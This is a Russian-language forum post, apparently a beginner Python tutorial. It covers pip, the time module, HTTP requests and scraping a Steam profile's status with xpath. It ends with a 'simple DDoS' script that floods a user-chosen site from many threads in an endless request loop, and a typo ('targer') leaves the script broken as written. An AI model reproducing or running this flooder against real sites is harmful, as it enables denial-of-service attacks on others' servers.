substandard rank
-
Автор темы
- #1
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Второй гайд.
В нем мы разберем простые библиотеки, в частности как ими пользоваться и подключать.
подключение библиотек:
для установки сторонних библиотек мы используем консоль и команду pip install.
например: cmd -> pip install requests
данная команда установит нам библиотеку requests,запросов.
библиотека time
библиотека requests
В нем мы разберем простые библиотеки, в частности как ими пользоваться и подключать.
подключение библиотек:
Python:
import time, os, sys, requests
#подключаем библиотеки.
#но, есть одна загвоздка, requests не стандартная библиотека python и ее нужно установить.
например: cmd -> pip install requests
данная команда установит нам библиотеку requests,запросов.
библиотека time
Python:
#все примеры в коде
import time
'''
Таблица форматов дат.
%a краткое название дня недели
%A название дня недели
%b краткое название месяца
%B название месяца
%c дата и время
%d день
%H час в 24 формате
%I час в 12 формате
%j день в году
%m месяц
%M минуты
%p pm или am, а точнее до полудня и после
%S секнуды
%U неделя в году
%w номер дня недели
%W номер недели в году
%x дата
%X время
%y год
%Y год с веком
%Z зона времени
P.S.: Pasted from site
'''
print('Время на данный момент', time.strftime("%H:%M:%S"))
#вывод текущего времени
time.sleep(3) #остановка скрипта на n секунд, в данном случае на 3 секунды.
print(time.ctime(int(input("секунды: "))))
#время с начала эпохи + кол-во секунд которое нужно прибавить.
print(time.perf_counter())
#время прошедшее от запуска скрипта.
print(time.strftime("%Y-%m-%d-%H.%M.%S", time.localtime())) #преобразует дату в нужный тип
#вроде все что может понадобится
Python:
#запросы, с помощью этой библиотекы python заходит на сайт за вас (лучшее объяснение)
import requests
print(requests.get('https://yougame.biz/')) #503 означает что сервер временно не доступен. некая ддос защита от югейма
#да-да с помощью этой библиотеки делаются ддос атаки (ну почти)
#можно конвертировать запрос: peremennaya.status_code, а после сделать условие
status = requests.get('https://yougame.biz/')
if status.status_code == 200:
print('Сервер работает!')
else:
print('Возникли неполадки!')
#можно получить код страницы таким образом:
link = requests.get("https://github.com/")
print(str(link.content)) #желательно не раскрывать, иначе будет тормозить :)
#так же имейте ввиду что это код без кодировки UTF-8, для включения* кодировки нужно написать [0].text
#наример
print(link.text)
#эта библиотека помогает парсить данные, делать запросы для брутфорса и тд.
#разберем простейший парсинг, но так как к этой библиотеке нужно подключать еще библиотеки, легче будет использовать чуть-чуть другие запросы - urllib.
import urllib.request
from lxml.html import fromstring
site = "https://steamcommunity.com/id/Lunatrius231/"
data = urllib.request.urlopen(site).read() #получаем код страницы
pars = fromstring(data) #преобразуем в читаемый вид
#для получения данных заходим на сайт, пкм по нужной инфе, например по статусу онлайна в стиме.
#далее нажимаем пкм по выделенной строке
#и копируем строку в формате xpath
#далее можно создать переменную с данными об онлайне.
#пишем pars.xpath('сюда то что скопировали')
online = pars.xpath('/html/body/div[1]/div[7]/div[3]/div/div[2]/div/div[1]/div[1]/div/div')
print(online[0].text) #для вывода используем [0].text
#теперь можно преобразовать это в переменную и использовать, например для статуса в вк.
item = ""
if online[0].text == "Currently Online":
item = "This user online in steam!"
else:
item = "This user offline in steam!"
print(item)
#вернемся к библиотеке requests, и попробуем сделать простой ддос
import threading #обработка потока
#создадим функцию с переменной для жертвы
def ddos(target):
while True: #бесконечный цикл
try: #пробуем выполнить в противном случае выводим информацию о том что сайт упал.
request = requests.get(targer) #отправляем запросы жертве.
print("Sended!") # выводим информацию о том, что запрос отправлен.
except:
print("Site falled") #пишем что сервер жертвы упал.
threads = 30 #количество потоков.
url = input("Site or IP: ")
try:
threads = int(input("Threads: "))
except:
threads = 30
if (threads < 1):
threads = 30
#ну и проверяем корректность сслыки
if not url.__contains__("http") or not url.__contains__("."):
print("Incorrect url!")
#самое главное, запуск.
for i in range(threads+1): #от 0 до количества потоков
thread = threading.Thread(target=ddos, args=(url,)) #создаем переменную для управления потока
thread.start() #запускаем.